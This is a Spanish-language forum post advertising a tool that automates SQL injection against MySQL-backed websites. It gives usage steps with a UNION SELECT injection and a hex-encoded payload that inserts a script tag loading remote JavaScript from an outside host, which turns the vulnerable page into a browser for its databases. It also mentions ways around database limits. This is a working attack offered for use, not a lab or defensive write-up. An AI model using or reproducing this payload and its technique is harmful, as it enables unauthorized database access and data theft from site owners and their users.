General Injection Explorer 3
Navegando por la Red, me encontre con esto, que me parecio muy curioso e ingenioso. Se trata de automatizar nuestras Inyecciones SQL.
[ + ] Que es?Basicamente es un explorador de bases de datos MySQL via SQLi, "incrustado" en la inyección.
[ + ] Que tiene la version 3.0?[+] Codeado desde 0.
[+] Bypasseo de "illegal operation", y limite de group_concat_max_len.
[+] Mejor manejo de CSS && DIVS.
[+] Peticiones realizadas con AJAX.
[+] Nueva forma de ver tablas, MUCHO mas ordenadas.
[ + ] Como se usa?En una SQLi, unis otro select y marcas las columnas ( id=-1 union select 1,2,3,4,5 )
En un valor que printee (que se muestre en la web), simplemente copias y pegas el codigo de la GIE.
Código:
(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)
Ejemplo Sin GIE: :::::: Adegas galegas :::::::
Ejemplo Con GIE: :::::: Adegas galegas :::::::
Luego, se navegan las bases de datos, usando ese "cuadradito" como un mini-phpmyadmin :P como se ve en el siguiente [.gif]:
Codigo: http://virtux.com.ar/GIE/_.js
By: PonyMagic